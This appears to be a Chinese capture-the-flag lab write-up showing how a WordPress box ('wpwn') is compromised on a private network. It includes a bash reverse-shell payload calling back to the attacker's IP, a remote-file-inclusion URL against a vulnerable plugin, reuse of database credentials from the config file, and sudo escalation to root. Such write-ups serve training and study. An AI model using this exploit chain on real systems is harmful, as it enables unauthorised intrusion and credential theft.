kali:192.168.111.111
靶机:192.168.111.145
端口扫描
![](https://img-blog.csdnimg.cn/img_convert/ee5375388c258f3ffa1df67c6b4173d7.png)
目录爆破
![](https://img-blog.csdnimg.cn/img_convert/1214e4d7da0904dd38a3f388eeb02534.png)
使用wpscan发现插件存在漏洞
![](https://img-blog.csdnimg.cn/img_convert/f1b36ea247106e38ee4e4edc12e38b2f.png)
漏洞利用
创建shell.txt
<pre>
system("bash -c 'exec bash -i &>/dev/tcp/192.168.111.111/4444 <&1'");
</pre>
使用python开启http服务
python3 -m http.server
访问目标获取反弹shell
http://192.168.111.145/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.111.111:8000/shell.txt
查看wordpress配置文件,发现数据库用户名和密码
![](https://img-blog.csdnimg.cn/img_convert/4b3b39e98c64ae4f78d40ab7135265f7.png)
使用该密码切换到takis用户,查看sudo -l
![](https://img-blog.csdnimg.cn/img_convert/d48694b1c7ca3d12e1a8af39e1cb9854.png)
提权
以takis用户输入
sudo su
查看/root/root.txt
![](https://img-blog.csdnimg.cn/img_convert/a7036ba094be25d29e275bbfce3bd02e.png)
查看root历史命令
root@wpwn:~# history
history
1 exit
2 ls -la
3 cd USB
4 LS -LA
5 ls -la
6 cat root
7 cat root
8 cat root
9 cat root
10 cat root
11 cat root
12 cat root
13 cd ..
14 rm -rf USB
15 cd ..
16 cd usr/
17 ls -la
18 cd share
19 cd ..
20 cd games
21 ls -la
22 mkdir USB
23 cd USB/
24 touch root
25 echo -n -as0dsa0d0s0a | md5sum
26 nano root
27 id
28 cd /root
29 ls -al
30 cat root.txt
31 history
查看/usr/games/USB/root获取flag
![](https://img-blog.csdnimg.cn/img_convert/beeb0f9f0215df9126094ceb84ae91fa.png)